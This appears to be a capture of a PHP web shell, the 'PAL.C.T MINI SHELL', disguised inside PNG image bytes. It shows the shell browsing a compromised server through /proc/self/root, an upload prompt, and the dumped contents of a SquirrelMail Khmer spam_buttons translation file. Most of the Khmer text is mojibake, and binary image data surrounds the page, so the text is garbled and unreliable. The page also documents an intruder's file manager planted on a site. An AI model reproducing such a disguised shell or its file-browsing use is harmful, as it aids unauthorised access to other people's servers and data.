‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/spam_buttons.po

# Khmer (km) spam_buttons Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: spam_buttons\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2008-02-01 09:12+0100\n"
"PO-Revision-Date: 2009-04-24 09:32+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: bounce_send.php:81
msgid "No resend destination specified"
msgstr "គ្មាន​ទីážáž¶áŸ†áž„​ផ្ញើ​ឡើងវិញ​ដែល​បាន​បញ្ជាក់​ទáŸ"

#: bounce_send.php:210
msgid "Could not establish connection to outgoing mail server"
msgstr "មិនអាច​ផ្សាយ​ការ​ážáž—្ជាប់​ទៅកាន់​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’រ​ផ្ញើ​ចáŸáž‰â€‹áž”ានទáŸ"

#: bounce_send.php:312 report.php:1521
#, php-format
msgid "Could not find requested message: %s"
msgstr "មិនអាច​រកឃើញ​សារ​ដែល​បាន​ស្នើ​ទáŸÂ áŸ– %s"

#: bounce_send.php:347
msgid ""
"Could not send report: \n"
"%1\n"
"%2 %3"
msgstr ""
"មិនអាច​ផ្ញើ​របាយការណáŸÂ áŸ– \n"
"%1\n"
"%2 %3"

#: bounce_send.php:349
msgid "Could not send report: <blockquote>%1<br />%2 %3</blockquote>"
msgstr "មិនអាច​ផ្ញើ​របាយការណáŸÂ áŸ– <blockquote>%1<br />%2 %3</blockquote>"

#: compose_functions-1.4.10.php:481 compose_functions-1.4.11.php:521
#: compose_functions-1.4.14.php:522 compose_functions-1.5.2.php:480
#, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "កំហុស ៖ មិនមាន​ážážâ€‹ážŸáŸáž…ក្ដី​ព្រាង %s áž‘áŸÂ áŸ”"

#: compose_functions-1.4.10.php:493
msgid "Server replied: "
msgstr "ម៉ាស៊ីន​បម្រើ​បាន​ឆ្លើយážáž” ៖ "

#: compose_functions-1.4.11.php:272 compose_functions-1.4.11.php:289
#: compose_functions-1.4.14.php:269 compose_functions-1.4.14.php:286
msgid "Subject"
msgstr "ប្រធានបទ"

#: compose_functions-1.4.11.php:273 compose_functions-1.4.11.php:290
#: compose_functions-1.4.14.php:270 compose_functions-1.4.14.php:287
msgid "From"
msgstr "ពី"

#: compose_functions-1.4.11.php:274 compose_functions-1.4.11.php:291
#: compose_functions-1.4.14.php:271 compose_functions-1.4.14.php:288
msgid "Date"
msgstr "កាលបរិច្ឆáŸáž‘"

#: compose_functions-1.4.11.php:275 compose_functions-1.4.11.php:292
#: compose_functions-1.4.14.php:272 compose_functions-1.4.14.php:289
msgid "To"
msgstr "ជូនចំពោះ"

#: compose_functions-1.4.11.php:276 compose_functions-1.4.11.php:296
#: compose_functions-1.4.14.php:273 compose_functions-1.4.14.php:293
msgid "Cc"
msgstr "ចម្លងជូន"

#: compose_functions-1.4.11.php:288 compose_functions-1.4.14.php:285
msgid "Original Message"
msgstr "សារ​ដើម"

#: compose_functions-1.4.11.php:533 compose_functions-1.4.14.php:534
#: compose_functions-1.5.2.php:492
msgid "Message not sent."
msgstr "សារ​មិនបាន​ផ្ញើ​ទáŸÂ áŸ”"

#: compose_functions-1.4.11.php:533 compose_functions-1.4.14.php:534
#: compose_functions-1.5.2.php:498
msgid "Server replied:"
msgstr "ម៉ាស៊ីន​បម្រើ​បាន​ឆ្លើយážáž” ៖"

#: options.php:60
msgid "Reselect Messages After Reporting"
msgstr "ជ្រើស​សារ​ឡើងវិញ បន្ទាប់​ពី​រាយការណáŸâ€‹áž áž¾áž™"

#: options.php:75
msgid "Delete Spam After Reporting"
msgstr "លុប​សារ​ឥážáž”ាន​ការ​បន្ទាប់​ពី​រាយការណáŸâ€‹áž áž¾áž™"

#: options.php:98 options.php:99 options.php:196 options.php:197
msgid "[Do not move]"
msgstr "[កុំ​ផ្លាស់ទី]"

#: options.php:112
msgid "Copy Spam After Reporting To"
msgstr "ចម្លង​​សារ​ឥážáž”ាន​ការ​បន្ទាប់​ពី​រាយការណáŸâ€‹áž‘ៅ"

#: options.php:114
msgid "Move Spam After Reporting To"
msgstr "ផ្លាស់ទី​ទៅ​សារ​ឥážáž”ាន​ការ​បន្ទាប់​ពី​រាយការណáŸâ€‹áž‘ៅ"

#: options.php:135 options.php:234
msgid "Copy Instead of Moving"
msgstr "ចម្លង​ជំនួស​ឲ្យ​ផ្លាស់ទី"

#: options.php:169
msgid "Move To Next Message After Reporting"
msgstr "ផ្លាស់ទី ទៅកាន់​សារ​បន្ទាប់ បន្ទាប់​ពី​រាយការណáŸ"

#: options.php:172
msgid "Return to Message List"
msgstr "ážáŸ’រឡប់​ទៅកាន់​បញ្ជី​សារ"

#: options.php:173
msgid "Next"
msgstr "បន្ទាប់"

#: options.php:174
msgid "Previous"
msgstr "មុន"

#: options.php:211
msgid "Copy Non-Spam After Reporting To"
msgstr "ចម្លង​​សារ​មិនមែន​ជា​សារ​ឥážáž”ាន​ការ​បន្ទាប់​ពី​រាយការណáŸâ€‹áž‘ៅ"

#: options.php:213
msgid "Move Non-Spam After Reporting To"
msgstr "ផ្លាស់ទី​សារ​មិនមែន​ជា​សារ​ឥážâ€‹áž”ាន​ការ​បន្ទាប់​ពី​រាយការណáŸâ€‹áž‘ៅ"

#: options.php:259 options.php:260 options.php:271 options.php:272
#: options.php:348 options.php:349 options.php:362 options.php:363
#: options.php:438 options.php:439 options.php:453 options.php:454
#: options.php:529 options.php:530 options.php:545 options.php:546
msgid "[Always Display]"
msgstr "[បង្ហាញ​ជានិច្ច]"

#: options.php:305
msgid "Display Spam Button in Folders"
msgstr "បង្ហាញ​ប៊ូážáž»áž„​សារ​ឥážâ€‹áž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:322
msgid "Display Spam Button in Folder"
msgstr "បង្ហាញ​ប៊ូážáž»áž„​សារ​ឥážáž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:395
msgid "Display Non-Spam Button in Folders"
msgstr "បង្ហាញ​ប៊ូážáž»áž„​មិនមែន​ជា​សារ​ឥážáž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:412
msgid "Display Non-Spam Button in Folder"
msgstr "បង្ហាញ​ប៊ូážáž»áž„​មិនមែន​ជា​សារ​ឥážâ€‹áž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:486
msgid "Don't Display Spam Button in Folders"
msgstr "មិន​បង្ហាញ​ប៊ូážáž»áž„​​សារ​ឥážáž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:503
msgid "Don't Display Spam Button in Folder"
msgstr "មិន​បង្ហាញ​ប៊ូážáž»áž„​សារ​ឥážáž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:579
msgid "Don't Display Non-Spam Button in Folders"
msgstr "មិន​បង្ហាញ​ប៊ូážáž»áž„​មិនមែន​សារ​ឥážáž”ាន​ការ​នៅ​ក្នុង​ážáž"

#: options.php:596
msgid "Don't Display Non-Spam Button in Folder"
msgstr "មិនបង្ហាញ​ប៊ូážáž»áž„​មិនមែន​សារ​ឥážáž”ានការ​នៅ​ក្នុង​ážáž"

#: options.php:609
msgid "Spam Reporting"
msgstr "ការ​រាយការណáŸâ€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ"

#: report.php:1198
msgid "The reported message is no longer available in this folder"
msgstr "សារ​ដែល​បាន​រាយការណáŸâ€‹áž‚ឺ​មិនមាន​នៅ​ក្នុង​ážážâ€‹áž“áŸáŸ‡â€‹ážáž‘ៅទៀážâ€‹áž‘áŸ"

#: report.php:1422
msgid "ERROR: Report could not be delivered"
msgstr "កំហុស ៖ មិនអាច​បញ្ជូន​របាយការណáŸâ€‹ážŠáž›áŸ‹â€‹áž”ានទáŸ"

#: report.php:1587
msgid "ERROR: Could not open temp file; check attachments directory permissions"
msgstr "កំហុស ៖ មិនអាច​បើក​ឯកសារ​បណ្ដោះ​អាសន្ន​បានទ០ពិនិážáŸ’យ​មើល​សិទ្ធិ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž—្ជាប់"

#: report.php:1599
msgid "ERROR %1: Problem reporting message ID %2: %3"
msgstr "កំហុស %1 ៖ មាន​បញ្ហា​ក្នុង​ការ​រាយការណáŸâ€‹áž›áŸážâ€‹ážŸáž˜áŸ’គាល់​សារ %2 ៖ %3"

#: report.php:1603
msgid "ERROR %1: Problem reporting message ID %2 (entity %4): %3"
msgstr "កំហុស %1 ៖ មាន​បញ្ហា​ក្នុង​ការ​រាយការណáŸâ€‹áž›áŸážâ€‹ážŸáž˜áŸ’គាល់​សារ %2 (អង្គភាព %4) ៖ %3"

#: setup.php:112
msgid "Spam"
msgstr "សារ​ឥážáž”ាន​ការ"

#: setup.php:113
msgid "Not Spam"
msgstr "មិនមែន​សារ​ឥážâ€‹áž”ាន​ការ"

#: setup.php:114
msgid "Successfully reported as spam"
msgstr "បាន​រាយការណáŸâ€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·"

#: setup.php:115
msgid "Successfully reported as non-spam"
msgstr "បានរាយការណáŸâ€‹ážáž¶â€‹áž˜áž·áž“មែន​ជា​សារ​ឥážáž”ាន​ការ​ដោយស្វáŸáž™áž”្រវážáŸ’ážáž·"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚